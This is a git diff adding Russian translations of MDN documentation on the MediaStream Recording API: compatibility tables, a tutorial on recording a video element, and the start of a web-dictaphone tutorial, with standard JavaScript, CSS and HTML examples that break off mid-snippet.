+ <li>Ваш {{event("dataavailable")}} обработчик будет вызываться каждый раз, как появлятся данные, готовые для выполнения вами над ними ожидаемых операций; событие имеет дата-атрибут, чье занчение {{domxref("Blob")}}, который содержит медиа-данные. Вы можете принудительно вызвать <code>dataavailable</code> событи, доставляя тем самым последние данные, чтобы вы могли отфильтровать их, сохранить и тд.</li>
+ <li>Запись останавливается автоматически, когда исходное медиа закончит проигрываться.</li>
+ <li>Вы можетет остановить запись в любое время, вызвав  {{domxref("MediaRecorder.stop()")}}.</li>
+</ol>
+
+<p>Вы можете так же использовать свойства MediaRecorder объекта для опредления состояния процесса записи и его {{domxref("MediaRecorder.pause", "pause()")}} и {{domxref("MediaRecorder.resume", "resume()")}} методы, чтобы остановить и возобновить запись исходной медиа.</p>
+
+<p>Если вам нужно или вы хотите проверить, поддерживается ли определенный MIME-тип, это так же возможно. Просто вызовите {{domxref("MediaRecorder.isMimeTypeSupported()")}}.</p>
+
+<p>Чтобы узнать больше о MediaStream Recording API, смотрите <a href="/en-US/docs/Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recording_API">Using the MediaStream Recording API</a>, который показывает, как использовать API для записи аудио клипов. Другая статья, <a href="/en-US/docs/Web/API/MediaStream_Recording_API/Recording_a_media_element">Recording a media element</a>, описывает, как получить поток из  {{HTMLElement("audio")}} или {{HTMLElement("video")}} элементов и использовать захватывающие потоки (в этом случае, запись и сохранение их на локальный диск).</p>
+
+<h2 id="Ссылки">Ссылки</h2>
+
+<p>{{domxref("BlobEvent")}}</p>
+
+<p>{{domxref("MediaRecorder")}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("MediaStream Recording", "#MediaRecorderAPI")}}</td>
+   <td>{{Spec2("MediaStream Recording")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Microsoft Edge</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(47.0)}}</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(47.0)}}</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>1.3<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(47.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] The initial Firefox OS implementation only supported audio recording.</p>
+
+<p>[2] To use {{domxref("MediaRecorder")}} in Chrome 47 and 48, enable <strong>experimental Web Platform features</strong> from the <code>chrome://flags</code> page.</p>
+
+<p>[3] Audio recording works in Chrome 49 and above; Chrome 47 and 48 only support video recording.</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recording_API">Using the MediaStream Recording API</a></li>
+ <li><a href="/en-US/docs/Web/API/MediaStream_Recording_API/Recording_a_media_element">Recording a media element</a></li>
+ <li><a href="https://simpl.info/mediarecorder/">simpl.info MediaStream Recording demo</a>, by <a href="https://twitter.com/sw12">Sam Dutton</a></li>
+ <li>{{domxref("navigator.mediaDevices.getUserMedia()")}}</li>
+ <li><a href="https://addpipe.com/blog/mediarecorder-api/">HTML5’s Media Recorder API in Action on Chrome and Firefox</a></li>
+ <li><a href="https://github.com/chrisjohndigital/TutorRoom">TutorRoom</a>: HTML5 video capture/playback/download using getUserMedia and the MediaRecorder API (<a href="https://github.com/chrisjohndigital/TutorRoom">source on GitHub</a>)</li>
+ <li><a href="https://www.fingerspell.org/">FingerSpell</a>: Sign Language Fingerspelling practice using getUserMedia and the MediaRecorder API to create and download recordings, MediaRecorder API supported desktop browsers only <a href="https://github.com/chrisjohndigital/CameraCaptureJS">(source on GitHub</a>)</li>
+ <li><a href="http://codepen.io/anon/pen/gpmPzm">Simple video recording demo</a></li>
+ <li><a href="https://quickblox.github.io/javascript-media-recorder/sample/">Advanced media stream recorder sample</a></li>
+</ul>
diff --git a/files/ru/web/api/mediastream_recording_api/recording_a_media_element/index.html b/files/ru/web/api/mediastream_recording_api/recording_a_media_element/index.html
new file mode 100644
index 0000000000..7d3daa1d33
--- /dev/null
+++ b/files/ru/web/api/mediastream_recording_api/recording_a_media_element/index.html
@@ -0,0 +1,272 @@
+---
+title: Запись медиа элемента
+slug: Web/API/MediaStream_Recording_API/Recording_a_media_element
+translation_of: Web/API/MediaStream_Recording_API/Recording_a_media_element
+---
+<div>{{DefaultAPISidebar("MediaStream Recording")}}</div>
+
+<p>В статье Использование интерфейса MediaStream Recording API демонстрируется использование объекта типа {{domxref("MediaRecorder")}} для захвата потока, представляющего объект типа {{domxref("MediaStream")}} , сгенерированного аппаратными средствами устройства и возвращаемого методом {{domxref("MediaDevices.getUserMedia()","navigator.mediaDevices.getUserMedia()")}}, но можно также использовать HTML медиа элемент (а именно {{HTMLElement("audio")}} или {{HTMLElement("video")}})  в качестве источника потока <code>MediaStream</code> для его записи. В этой статье рассматривается пример выполняющий это.</p>
+
+<div id="Example">
+<h2 id="HTML_содержимое">HTML содержимое</h2>
+
+<div class="hidden">
+<pre class="brush: html">&lt;p&gt;Click the "Start" button to begin video recording for a few seconds. You can stop
+   the video by clicking the creatively-named "Stop" button. The "Download"
+   button will download the received data (although it's in a raw, unwrapped form
+   that isn't very useful).
+&lt;/p&gt;
+&lt;br&gt;
+</pre>
+</div>
+
+<p>Рассмотрим ключевые моменты кода  HTML. Это только небольшой отрывок, относящийся к информационной части приложения.</p>
+
+<pre class="brush: html">&lt;div class="left"&gt;
+  &lt;div id="startButton" class="button"&gt;
+    Start
+  &lt;/div&gt;
+  &lt;h2&gt;Preview&lt;/h2&gt;
+  &lt;video id="preview" width="160" height="120" autoplay muted&gt;&lt;/video&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Основной интерфейс представляется в двух колонках. В левой находиться кнопка старта и элемент {{HTMLElement("video")}} , который отображает предварительный просмотр видео. Это видео, воспроизводится камерой устройства. Заметте, что используется атрибут {{htmlattrxref("autoplay", "video")}}, что бы поток начал воспроизводиться немедленно, снимаясь прямо  с камеры. Атрибут {{htmlattrxref("muted", "video")}} гарантирует отключение звука с микрофона, для предотвращения цикличного эхо эффекта.</p>
+
+<pre class="brush: html">&lt;div class="right"&gt;
+  &lt;div id="stopButton" class="button"&gt;
+    Stop
+  &lt;/div&gt;
+  &lt;h2&gt;Recording&lt;/h2&gt;
+  &lt;video id="recording" width="160" height="120" controls&gt;&lt;/video&gt;
+  &lt;a id="downloadButton" class="button"&gt;
+    Download
+  &lt;/a&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Справа мы видим кнопку остановки и элемент <code>&lt;video&gt;,</code> который будет использоваться для воспроизведения записанного видео. Обратите внимание, что на панели воспроизведения не установлен режим автозапуска (поэтому воспроизведение не начинается сразу после поступления мультимедиа), а также установлен атрибут {{htmlattrxref ("controls", "video")}}, что говорит о необходимости показывать пользовательские элементы управления для воспроизведения, паузы и т. д.</p>
+
+<p>Под элементом воспроизведения находится кнопка для загрузки записанного видео.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="bottom"&gt;
+  &lt;pre id="log"&gt;&lt;/pre&gt;
+&lt;/div&gt;</pre>
+<strong>CSS файл</strong>
+
+<pre class="brush: css">body {
+  font: 14px "Open Sans", "Arial", sans-serif;
+}
+
+video {
+  margin-top: 2px;
+  border: 1px solid black;
+}
+
+.button {
+  cursor: pointer;
+  display: block;
+  width: 160px;
+  border: 1px solid black;
+  font-size: 16px;
+  text-align: center;
+  padding-top: 2px;
+  padding-bottom: 4px;
+  color: white;
+  background-color: darkgreen;
+  text-decoration: none;
+}
+
+h2 {
+  margin-bottom: 4px;
+}
+
+.left {
+  margin-right: 10px;
+  float: left;
+  width: 160px;
+  padding: 0px;
+}
+
+.right {
+  margin-left: 10px;
+  float: left;
+  width: 160px;
+  padding: 0px;
+}
+
+.bottom {
+  clear: both;
+  padding-top: 10px;
+}</pre>
+</div>
+
+<h2 id="JavaScript">JavaScript</h2>
+
+<p>Теперь давайте посмотрим на код JavaScript</p>
+
+<h3 id="Установка_глобальных_переменных">Установка глобальных переменных</h3>
+
+<p>Мы начнем с установления некоторых глобальных переменных, которые нам понадобятся.</p>
+
+<pre class="brush: js">let preview = document.getElementById("preview");
+let recording = document.getElementById("recording");
+let startButton = document.getElementById("startButton");
+let stopButton = document.getElementById("stopButton");
+let downloadButton = document.getElementById("downloadButton");
+let logElement = document.getElementById("log");
+
+let recordingTimeMS = 5000;
+</pre>
+
+<p>Большинство из них являются ссылками на элементы, с которыми нам нужно работать. Последняя, <code>recordingTimeMS</code>, установлена на 5000 миллисекунд (5 секунд);.</p>
+
+<h3 id="Используемые_функции">Используемые функции</h3>
+
+<p>Далее мы создадим несколько служебных функций, которые будут использованы позже.</p>
+
+<pre class="brush: js">function log(msg) {
+  logElement.innerHTML += msg + "\n";
+}
+</pre>
+
+<p>Функция<code> log ()</code> используется для вывода текстовых строк в {{HTMLElement ("div")}}, чтобы мы могли делиться информацией с пользователем.</p>
+
+<pre class="brush: js">function wait(delayInMS) {
+  return new Promise(resolve =&gt; setTimeout(resolve, delayInMS));
+}
+</pre>
+
+<p>The <code>wait()</code> function returns a new {{jsxref("Promise")}} which resolves once the specified number of milliseconds have elapsed. It works by using an <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow function</a> which calls {{domxref("window.setTimeout()")}}, specifying the promise's resolution handler as the timeout handler function. That lets us use promise syntax when using timeouts, which can be very handy when chaining promises, as we'll see later.</p>
+
+<h3 id="Starting_media_recording">Starting media recording</h3>
+
+<p>The <code>startRecording()</code> function handles starting the recording process:</p>
+
+<pre class="brush: js">function startRecording(stream, lengthInMS) {
+  let recorder = new MediaRecorder(stream);
+  let data = [];
+
+  recorder.ondataavailable = event =&gt; data.push(event.data);
+  recorder.start();
+  log(recorder.state + " for " + (lengthInMS/1000) + " seconds...");
+
+  let stopped = new Promise((resolve, reject) =&gt; {
+    recorder.onstop = resolve;
+    recorder.onerror = event =&gt; reject(event.name);
+  });
+
+  let recorded = wait(lengthInMS).then(
+    () =&gt; recorder.state == "recording" &amp;&amp; recorder.stop()
+  );
+
+  return Promise.all([
+    stopped,
+    recorded
+  ])
+  .then(() =&gt; data);
+}
+</pre>
+
+<p><code>startRecording()</code> takes two input parameters: a {{domxref("MediaStream")}} to record from and the length in milliseconds of the recording to make. We always record no more than the specified number of milliseconds of media, although if the media stops before that time is reached, {{domxref("MediaRecorder")}} automatically stops recording as well.</p>
+
+<dl>
+ <dt>Line 2</dt>
+ <dd>Creates the <code>MediaRecorder</code> that will handle recording the input <code>stream</code>.</dd>
+ <dt>Line 3</dt>
+ <dd>Creates an empty array, <code>data</code>, which will be used to hold the {{domxref("Blob")}}s of media data provided to our {{domxref("MediaRecorder.ondataavailable", "ondataavailable")}} event handler.</dd>
+ <dt>Line 5</dt>
+ <dd>Sets up the handler for the {{event("dataavailable")}} event. The received event's <code>data</code> property is a {{domxref("Blob")}} that contains the media data. The event handler simply pushes the <code>Blob</code> onto the <code>data</code> array.</dd>
+ <dt>Lines 6-7</dt>
+ <dd>Starts the recording process by calling {{domxref("MediaRecorder.start", "recorder.start()")}}, and outputs a message to the log with the updated state of the recorder and the number of seconds it will be recording.</dd>
+ <dt>Lines 9-12</dt>
+ <dd>Creates a new {{jsxref("Promise")}}, named <code>stopped</code>, which is resolved when the <code>MediaRecorder</code>'s {{domxref("MediaRecorder.onstop", "onstop")}} event handler is called, and is rejected if its {{domxref("MediaRecorder.onerror", "onerror")}} event handler is called. The rejection handler receives as input the name of the error that occurred.</dd>
+ <dt>Lines 14-16</dt>
+ <dd>Creates a new <code>Promise</code>, named <code>recorded</code>, which is resolved when the specified number of milliseconds have elapsed. Upon resolution, it stops the <code>MediaRecorder</code> if it's recording.</dd>
+ <dt>Lines 18-22</dt>
+ <dd>These lines create a new <code>Promise</code> which is fulfilled when both of the two <code>Promise</code>s (<code>stopped</code> and <code>recorded</code>) have resolved. Once that resolves, the array data is returned by <code>startRecording()</code> to its caller.</dd>
+</dl>
+
+<h3 id="Stopping_the_input_stream">Stopping the input stream</h3>
+
+<p>The <code>stop()</code> function simply stops the input media:</p>
+
+<pre class="brush: js">function stop(stream) {
+  stream.getTracks().forEach(track =&gt; track.stop());
+}
+</pre>
+
+<p>This works by calling {{domxref("MediaStream.getTracks()")}}, using {{jsxref("Array.forEach", "forEach()")}} to call {{domxref("MediaStreamTrack.stop()")}} on each track in the stream.</p>
+
+<h3 id="Getting_an_input_stream_and_setting_up_the_recorder">Getting an input stream and setting up the recorder</h3>
+
+<p>Now let's look at the most intricate piece of code in this example: our event handler for clicks on the start button:</p>
+
+<pre class="brush: js">startButton.addEventListener("click", function() {
+  navigator.mediaDevices.getUserMedia({
+    video: true,
+    audio: true
+  }).then(stream =&gt; {
+    preview.srcObject = stream;
+    downloadButton.href = stream;
+    preview.captureStream = preview.captureStream || preview.mozCaptureStream;
+    return new Promise(resolve =&gt; preview.onplaying = resolve);
+  }).then(() =&gt; startRecording(preview.captureStream(), recordingTimeMS))
+  .then (recordedChunks =&gt; {
+    let recordedBlob = new Blob(recordedChunks, { type: "video/webm" });
+    recording.src = URL.createObjectURL(recordedBlob);
+    downloadButton.href = recording.src;
+    downloadButton.download = "RecordedVideo.webm";
+
+    log("Successfully recorded " + recordedBlob.size + " bytes of " +
+        recordedBlob.type + " media.");
+  })
+  .catch(log);
+}, false);</pre>
+
+<p>When a {{event("click")}} event occurs, here's what happens:</p>
+
+<dl>
+ <dt>Lines 2-4</dt>
+ <dd>{{domxref("navigator.mediaDevices.getUserMedia()")}} is called to request a new {{domxref("MediaStream")}} that has both video and audio tracks. This is the stream we'll record.</dd>
+ <dt>Lines 5-9</dt>
+ <dd>When the Promise returned by <code>getUserMedia()</code> is resolved, the preview {{HTMLElement("video")}} element's {{domxref("HTMLMediaElement.srcObject","srcObject")}} property is set to be the input stream, which causes the video being captured by the user's camera to be displayed in the preview box. Since the <code>&lt;video&gt;</code> element is muted, the audio won't play. The "Download" button's link is then set to refer to the stream as well. Then, in line 8, we arrange for <code>preview.captureStream()</code> to call <code>preview.mozCaptureStream()</code> so that our code will work on Firefox, on which the {{domxref("MediaRecorder.captureStream()")}} method is prefixed. Then a new {{jsxref("Promise")}} which resolves when the preview video starts to play is created and returned.</dd>
+ <dt>Line 10</dt>
+ <dd>When the preview video begins to play, we know there's media to record, so we respond by calling the <code>{{anch("Starting media recording", "startRecording()")}}</code> function we created earlier, passing in the preview video stream (as the source media to be recorded) and <code>recordingTimeMS</code> as the number of milliseconds of media to record. As mentioned before, <code>startRecording()</code> returns a {{jsxref("Promise")}} whose resolution handler is called (receiving as input an array of {{domxref("Blob")}} objects containing the chunks of recorded media data) once recording has completed.</dd>
+ <dt>Lines 11-15</dt>
+ <dd>The recording process's resolution handler receives as input an array of media data <code>Blob</code>s locally known as <code>recordedChunks</code>. The first thing we do is merge the chunks into a single {{domxref("Blob")}} whose MIME type is <code>"video/webm"</code> by taking advantage of the fact that the {{domxref("Blob.Blob", "Blob()")}} constructor concatenates arrays of objects into one object. Then {{domxref("URL.createObjectURL()")}} is used to create an URL that references the blob; this is then made the value of the recorded video playback element's {{htmlattrxref("src", "video")}} attribute (so that you can play the video from the blob) as well as the target of the download button's link.
+ <p>Then the download button's {{htmlattrxref("download", "a")}} attribute is set. While the <code>download</code> attribute can be a Boolean, you can also set it to a string to use as the name for the downloaded file. So by setting the download link's <code>download</code> attribute to "RecordedVideo.webm", we tell the browser that clicking the button should download a file named <code>"RecordedVideo.webm"</code> whose contents are the recorded video.</p>
+ </dd>
+ <dt>Lines 17-18</dt>
+ <dd>The size and type of the recorded media are output to the log area below the two videos and the download button.</dd>
+ <dt>Line 20</dt>
+ <dd>The <code>catch()</code> for all the <code>Promise</code>s outputs the error to the logging area by calling our <code>log()</code> function.</dd>
+</dl>
+
+<h3 id="Handling_the_stop_button">Handling the stop button</h3>
+
+<p>The last bit of code adds a handler for the {{event("click")}} event on the stop button using {{domxref("EventTarget.addEventListener", "addEventListener()")}}:</p>
+
+<pre class="brush: js">stopButton.addEventListener("click", function() {
+  stop(preview.srcObject);
+}, false);</pre>
+
+<p>This simply calls the <code>{{anch("Stopping the input stream", "stop()")}}</code> function we covered earlier.</p>
+</div>
+
+<h2 id="Result">Result</h2>
+
+<p>When put all together with the rest of the HTML and the CSS not shown above, it looks and works like this:</p>
+
+<p>{{ EmbedLiveSample('Example', 600, 440, "", "", "", "camera;microphone") }}</p>
+
+<p>You can {{LiveSampleLink("Example", "take a look at all the code")}}, including the parts hidden above because they aren't critical to the explanation of how the APIs are being used.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording API</a></li>
+ <li><a href="/en-US/docs/Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recording_API">Using the MediaStream Recording API</a></li>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a></li>
+</ul>
diff --git a/files/ru/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html b/files/ru/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html
new file mode 100644
index 0000000000..a054df7b8f
--- /dev/null
+++ b/files/ru/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html
@@ -0,0 +1,263 @@
+---
+title: Использование интерфейса записи медиапотока
+slug: Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recording_API
+translation_of: Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recording_API
+---
+<p>{{DefaultAPISidebar("MediaStream Recording")}}</p>
+
+<div class="summary">
+<p><span class="seoSummary">Интерфейс <a href="/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording</a>  позволяет записывать аудио и видео потоки. При использовании с методом {{domxref("MediaDevices.getUserMedia()","navigator.mediaDevices.getUserMedia()")}}, предлагает простой способ записи данных с устройств пользователя, и немедленное их использование в веб приложениях.И аудио и видео могут быть записаны вместе или по отдельности.Цель данной статьи - предоставить базовое руководство о том как использовать объект</span><code> MediaRecorder</code>, реализующий такой програмный интерфей.</p>
+</div>
+
+<h2 id="Пример_приложени_Веб_диктофон">Пример приложени: Веб диктофон</h2>
+
+<p><img alt="An image of the Web dictaphone sample app - a sine wave sound visualization, then record and stop buttons, then an audio jukebox of recorded tracks that can be played back." src="https://mdn.mozillademos.org/files/7885/web-dictaphone.png" style="display: block; margin: 0px auto;"></p>
+
+<p>Для демонстрации основной функциональности интерфейса  <code>MediaRecorder API</code>, мы создали веб диктофон, позволяющий записывать отрывки аудио и проигрывать их после записи. Он визуализирует устройства ввода звука, используя интерфейс <code> Web Audio API</code>. В этой статье будем концентрироваться на функциональности записи и воспроизведения.</p>
+
+<p>Посмотрите получившуюся <a href="https://mdn.github.io/web-dictaphone/">работающую демонстрацию</a>, или <a href="https://github.com/mdn/web-dictaphone">скачайте исходники</a> на GitHub.</p>
+
+<h2 id="CSS_плюшки">CSS плюшки</h2>
+
+<p>Разметка HTML довольно проста, поэтому не будем ее рассматривать подробно, но есть более интересные места в CSS, которые стоило бы отметить, и о которых поговорим ниже. Если вам не интересна тема CSS , и хотите сразу приступить к  JavaScript, то перейдите к части основных настроек приложения {{anch("Basic app setup")}}.</p>
+
+<h3 id="Сохраняйте_интерфейс_ограниченным_областью_просмотра_независимо_от_высоты_устройства_с_функцией_calc">Сохраняйте интерфейс ограниченным областью просмотра, независимо от высоты устройства, с функцией calc()</h3>
+
+<p>Функция {{cssxref("calc")}} одна из полезных утилит возникших в  CSS, которая не выглядет чем-то выдающимся, но в скоре заставит вас думать о том, почему вы не использовали её раньше?; и почему CSS2 макет такой неуклюжий? Она позволяет выполнять вычисления для определения значений из различных CSS единиц измерений, смешивая их в процессе вычисления.</p>
+
+<p>К примеру, в приложении веб диктафона мы создали три области интерфейса, расположенные вертикально. Первые две имеют фиксированную высоту (заголовок и элементы управления):</p>
+
+<pre class="brush: css">header {
+  height: 70px;
+}
+
+.main-controls {
+  padding-bottom: 0.7rem;
+  height: 170px;
+}</pre>
+
+<p>Третья область (содержащая записываемые образцы, которые можно воспроизвести) должна занимать оставшуюся от первых двух область, независимо от высоты устройства пользователя. Задача может быть решена, установкой высоты третьей области равной 100% родительской высоты, минус высоты и отступы первых двух.</p>
+
+<pre class="brush: css;highlight[4]">.sound-clips {
+  box-shadow: inset 0 3px 4px rgba(0,0,0,0.7);
+  background-color: rgba(0,0,0,0.1);
+  height: calc(100% - 240px - 0.7rem);
+  overflow: scroll;
+}</pre>
+
+<div class="note">
+<p><strong>Примечание </strong>: Функция <code>calc()</code> имеет хорошую поддержку среди современных браузеров, даже в устаревшем Internet Explorer 9.</p>
+</div>
+
+<h3 id="Хак_чекбокса_для_отображениескрытия">Хак чекбокса для отображение/скрытия</h3>
+
+<p>Он уже хорошо документирован, но думаем его можно упоминуть, заключающийся в том, что можно кликнуть на  элемент {{htmlelement("label")}} , содержащий элемент чекбокса для переключения самого чекбока. В нашем приложении веб диктафона он управляет отображением блока информации о приложении, при нажатии на иконку знака вопроса в правом верхнем углу. Сначала мы стилизуем элемент <code>&lt;label&gt;</code> , тем, что мы хотим, убеждаясь в том, что он имеет достаточно высокий  <code>z-index</code> , всегда находящийся выше других элементов :</p>
+
+<pre class="brush: css">label {
+    font-family: 'NotoColorEmoji';
+    font-size: 3rem;
+    position: absolute;
+    top: 2px;
+    right: 3px;
+    z-index: 5;
+    cursor: pointer;
+}</pre>
+
+<p>Затем скрываем настоящий чекбокс, избегая неразберихи в интерфейсе :</p>
+
+<pre class="brush: css">input[type=checkbox] {
+   position: absolute;
+   top: -100px;
+}</pre>
+
+<p>Затем стилизуем блок информации (обернутый в элемент {{htmlelement("aside")}}) по вкусу, давая ему фиксированную позицию, так что бы он не показывался в потоке разметки и влиял на основной интерфейс, трансформируем его позицию функцией трансформации, определяя его место по умолчанию, и меняем значение функции трансформации для плавного его отображения/скрытия:</p>
+
+<pre class="brush: css">aside {
+   position: fixed;
+   top: 0;
+   left: 0;
+   text-shadow: 1px 1px 1px black;
+   width: 100%;
+   height: 100%;
+   transform: translateX(100%);
+   transition: 0.6s all;
+   background-color: #999;
+    background-image: linear-gradient(to top right, rgba(0,0,0,0), rgba(0,0,0,0.5));
+}</pre>
+
+<p>Наконец определяем правило при нажатии чекбокса . Когда он выбран (когда нажат элемент <code>label</code>) соседний элемент <code>&lt;aside&gt;</code> получит значение горизонтального перехода и переместится в представление:</p>
+
+<pre class="brush: css">input[type=checkbox]:checked ~ aside {
+  transform: translateX(0);
+}</pre>
+
+<h2 id="Основные_настройки_приложения">Основные настройки приложения</h2>
+
+<p>Для получения мелиапотока, который нужно захватить используется метод <code>getUserMedia()</code>. Затем используется интерфейс  <code>MediaRecorder</code>, для записи потока и вывода каждого отрывка записи в атрибут элемента  {{htmlelement("audio")}}  для воспроизведения.</p>
+
+<p>Объявим некоторые переменные для кнопок начала записи и остановки, а так же элемент {{htmlelement("article")}} , который будет содержать аудио плееры:</p>
+
+<pre class="brush: js">const record = document.querySelector('.record');
+const stop = document.querySelector('.stop');
+const soundClips = document.querySelector('.sound-clips');</pre>
+
+<p>Наконец, для этого раздела создадим базовую структуру <code>getUserMedia</code> :</p>
+
+<pre class="brush: js">if (navigator.mediaDevices &amp;&amp; navigator.mediaDevices.getUserMedia) {
+   console.log('getUserMedia supported.');
+   navigator.mediaDevices.getUserMedia (
+      // Установим ограничение на получение только аудио потока
+      {
+         audio: true
+      })
+      // Функция успешного получения потока
+      .then(function(stream) {
+
+
+      })
+      // Функция ошибок
+      .catch(function(err) {
+         console.log('The following <code>getUserMedia</code> error occured: ' + err);
+      }
+   );
+} else {
+   console.log('getUserMedia not supported on your browser!');
+}</pre>
+
+<p>Все обернуто в условный тест, проверяющий поддержку <code>getUserMedia</code> до запуска чего нибудь. Затем вызываем  <code>getUserMedia()</code> и внутри определяем:</p>
+
+<ul>
+ <li><strong>Ограничения </strong>: Приложению нужен только аудиопоток .</li>
+ <li><strong>Функция успешного вызова</strong>: Запускается при успешном получении потока функцией  <code>getUserMedia</code> .</li>
+ <li><strong>Функция обработки ошибок</strong>: Если функция  <code>getUserMedia</code> по какой либо причине завершиться с ошибкой.</li>
+</ul>
+
+<div class="note">
+<p><strong>Примечание </strong>:  Весь код ниже помещается внутрь функции успешного вызова <code>getUserMedia.</code></p>
+</div>
+
+<h2 id="Захват_медиа_потока">Захват медиа потока</h2>
+
+<p>Как только функция <code>getUserMedia</code> успешно получила медиапоток, создаем новый объект типа  Media Recorder конструктором <code>MediaRecorder()</code> и передаем ему поток, полученный функцией. Это точка входа использования интерфейса  MediaRecorder —  теперь поток готов для захвата и упаковки в объект  {{domxref("Blob")}}, в формате по умолчанию, установленного для браузера.</p>
+
+<pre class="brush: js">const mediaRecorder = new MediaRecorder(stream);</pre>
+
+<p>Существуют несколько методов объекта {{domxref("MediaRecorder")}} , позволяющие контролировать запись медиапотока; в приложении веб диктофон используется два и прослушиваем некоторые события. Прежде всего используем метод {{domxref("MediaRecorder.start()")}} , для запуска записи потока, после нажатия кнопки старта:</p>
+
+<pre class="brush: js">record.onclick = function() {
+  mediaRecorder.start();
+  console.log(mediaRecorder.state);
+  console.log("recorder started");
+  record.style.background = "red";
+  record.style.color = "black";
+}</pre>
+
+<p>Когда объект  <code>MediaRecorder</code> приступает к записи его свойство {{domxref("MediaRecorder.state")}} получает значение "<code>recording</code>".</p>
+
+<p>По мере записи, нам нужно получать аудио данные. Для этого регистрируем обработчик события  {{domxref("mediaRecorder.ondataavailable")}}:</p>
+
+<pre class="brush: js">let chunks = [];
+
+mediaRecorder.ondataavailable = function(e) {
+  <span class="pl-smi">chunks</span>.<span class="pl-c1">push</span>(<span class="pl-smi">e</span>.<span class="pl-c1">data</span>);
+}</pre>
+
+<div class="blockIndicator note">
+<p><strong>Примечание </strong>: Браузер будет запускать события <code>dataavailable</code> по необходимости (когда внутренний буфер объекта будет переполняться), но если разработчику нужно вмешаться, в вызов метода <code>start()</code> можно включить параметр<code> timeslice</code> , определяющий диапазон захвата в миллисекундах — к примеру, <code>start(10000)</code> ,  или вызывать функцию запроса данных  {{domxref("MediaRecorder.requestData()")}} , запуская событие по необходимости.</p>
+</div>
+
+<p>Наконец используем метод  {{domxref("MediaRecorder.stop()")}} при нажатии кнопки остановки записи и завершения упаковки объекта  {{domxref("Blob")}} для его использования в приложении.</p>
+
+<pre class="brush: js">stop.onclick = function() {
+  mediaRecorder.stop();
+  console.log(mediaRecorder.state);
+  console.log("recorder stopped");
+  record.style.background = "";
+  record.style.color = "";
+}</pre>
+
+<p>Обратите внимание, что запись потока может остановиться естественно, если медиапоток кончился(к примеру, если захватывается музыкальный трек и он кончился, или пользователь отключил использование микрофона, чей поток захватывается).</p>
+
+<h2 id="Получение_и_использования_объекта_blob">Получение и использования объекта blob</h2>
+
+<p>Когда запись останавливается, свойство <code>state</code> получает значение "<code>inactive</code>", и запускается событие <code>stop</code>. Мы устанавливаем обработчик этого события, используя свойство {{domxref("mediaRecorder.onstop")}}, завершая запись всех полученных порций  объекта <code>blob</code> на момент остановки:</p>
+
+<pre class="brush: js">mediaRecorder.onstop = function(e) {
+  console.log("recorder stopped");
+
+  const clipName = prompt('Enter a name for your sound clip');
+
+  const clipContainer = document.createElement('article');
+  const clipLabel = document.createElement('p');
+  const audio = document.createElement('audio');
+  const deleteButton = document.createElement('button');
+
+  clipContainer.classList.add('clip');
+  audio.setAttribute('controls', '');
+  deleteButton.innerHTML = "Delete";
+  clipLabel.innerHTML = clipName;
+
+  clipContainer.appendChild(audio);
+  clipContainer.appendChild(clipLabel);
+  clipContainer.appendChild(deleteButton);
+  soundClips.appendChild(clipContainer);
+
+  const blob = new Blob(chunks, { 'type' : 'audio/ogg; codecs=opus' });
+  chunks = [];
+  const audioURL = window.URL.createObjectURL(blob);
+  audio.src = audioURL;
+
+  deleteButton.onclick = function(e) {
+    let evtTgt = e.target;
+    evtTgt.parentNode.parentNode.removeChild(evtTgt.parentNode);
+  }
+}</pre>
+
+<p>Пройдем весь код выше и посмотрим, что он делает.</p>
+
+<p>Сначала отображаем пользователю диалог с запросом имени будущей записи.</p>
+
+<p>Затем создаем структуру HTML , вставляя её в контейнер, представляющийся элементом {{htmlelement("article")}} .</p>
+
+<pre class="brush: html">&lt;article class="clip"&gt;
+  &lt;audio controls&gt;&lt;/audio&gt;
